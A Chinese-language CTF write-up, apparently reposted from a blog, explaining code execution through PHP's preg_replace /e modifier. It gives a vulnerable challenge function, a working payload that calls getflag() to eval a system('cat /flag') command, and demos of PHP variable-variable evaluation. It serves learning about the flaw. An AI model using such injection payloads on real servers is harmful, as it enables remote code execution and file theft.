首页 > 其他分享 >preg_replace /e 模式下的代码执行问题

preg_replace /e 模式下的代码执行问题

时间:2022-10-27 11:25:19浏览次数:66  
标签:匹配 getflag preg phpinfo replace 代码执行 strtolower

preg_replace /e 模式下的代码执行问题

preg_replace在/e模式下存在代码执行问题

这里借用例题分析

function complex($re, $str) { 
    return preg_replace(     
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}
foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

payload:
\S*=${getflag()}&cmd=system('cat /flag');
这里触发preg_replace函数
 触发前:preg_replace( '/(' . $re . ')/ei','strtolower("\\1")', $str);
 触发后:preg_replace('/(S*)/ie','strtolower("${getflag()}")','${getflag()}')
        在第二个参数里面\\1转意后就是\1,\1在在正则表达式里面有特定的含义

     
     第一个点:
     
     知识: 
  反向引用
对一个正则表达式模式或部分模式 两边添加圆括号 将导致相关 匹配存储到一个临时缓冲区 中,
所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。
缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 '\n' 访问,
其中 n 为一个标识特定缓冲区的一位或两位十进制数。
 所以在这里\1匹配到的就是${getflag()}


     

第二个点:
[\s]表示,只要出现空白就匹配

[\S]表示,非空白就匹配

那么它们的组合[\s\S],表示所有的都匹配

"."是不会匹配换行的,所有出现有换行匹配的时候,就习惯使用[\s\S]来完全通配模式。

第三个点
下面再说说我们为什么要匹配到 {${phpinfo()}} 或者 ${phpinfo()} ,才能执行 phpinfo 函数,这是一个小坑。这实际上是PHP可变变量 的原因。在PHP中双引号包裹的字符串中可以解析变量,而单引号则不行。 ${phpinfo()} 中的 phpinfo() 会被当做变量先执行,执行后,即变成 ${1} (phpinfo()成功执行返回true)。如果这个理解了,你就能明白下面这个问题:
      所以构造paylaod:?s/*=${getflag()}$cmd=()
      这样可以匹配到getflag把他当作变量执行,当getflag()执行后就能够触发cmdjin
      
var_dump(phpinfo()); // 结果:布尔 true
var_dump(strtolower(phpinfo()));// 结果:字符串 '1'
var_dump(preg_replace('/(.*)/ie','1','{${phpinfo()}}'));// 结果:字符串'11'

var_dump(preg_replace('/(.*)/ie','strtolower("\\1")','{${phpinfo()}}'));// 结果:空字符串''
var_dump(preg_replace('/(.*)/ie','strtolower("{${phpinfo()}}")','{${phpinfo()}}'));// 结果:空字符串''
这里的'strtolower("{${phpinfo()}}")'执行后相当于 strtolower("{${1}}") 又相当于 strtolower("{null}") 又相当于 '' 空字符串

标签:匹配,getflag,preg,phpinfo,replace,代码执行,strtolower
From: https://www.cnblogs.com/GTL-JU/p/16831575.html

相关文章

  • Ansible - replace ore remove a line
    ##changethenamespaceansiblelocalhost\-mlineinfile\-a"dest=~/project/deploy/dev/kustomization.yaml\regexp='^namespace:'\line='namespace:......
  • PHP中str_replace高级使用你知道吗
    在阅读PHP框架ThinkPHP源码的过程中有很多方法的冷门使用,也就是不常用的使用方法。这里咔咔先对str_replace这个方法进行解析,这个方法也就是替换字符串中的一些字符(区分大......
  • Apache Struts2远程代码执行【S2-001】
    Struts2Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。Struts2是St......
  • CVE-2021-23132:Joomla远程代码执行漏洞
    0x00概述:Joomla是一套知名的内容管理系统,使用的是php语言和mysql数据库开发的,可以在各大系统场景进行使用。影响版本:Joomla3.0.0~3.9.240x01复现过程:打开搭建好的环境......
  • CF920F SUM and REPLACE
    题目链接CF920FSUMandREPLACESUMandREPLACE给定\(n\)个数的数组\(a\),\(m\)次操作。操作有两种:1.将\(i\in[l,r]\)中的所有\(a_i\)替换为\(d(a_i)\)。\(d......
  • vba中Range对象的Replace方法
    replace是Range对象的一个方法,用于单元格替换.      SubreplaceTest()Application.ReplaceFormat.Interior.Color=vbGreen'指定lookat参数为Whole,从而避免......
  • JavaScript字符串一些方法使用charAt、charCodeAt、replace、split、substr
    charAt():根据下标返回字符1<script>2letstr='abcde';3console.log(str.charAt(1));//返回结果:b4</script> charCodeAt():根据下标返回字......
  • Apache Commons Text远程代码执行漏洞(CVE-2022-42889)分析
    漏洞介绍根据apache官方给出的说明介绍到ApacheCommonsText执行变量插值,允许动态评估和扩展属性的一款工具包,插值的标准格式是"${prefix:name}",其中"prefix"是用于定位o......
  • RAID5 IO处理之replace代码详解
    1作用从字面意思理解,replacement即是替换。我们知道硬盘都有一定的使用寿命,可以在硬盘失效之前通过该功能将就盘的数据迁移至新盘。因为replacement的流程是从旧盘中读出......
  • Argument data type text is invalid for argument 1 of replace function
    今天给webapi添加了搜索,结果数据库显示了这个错误,Argumentdatatypetextisinvalidforargument1ofreplacefunction查了一下发现是字段类型ntext的问题,解决办法......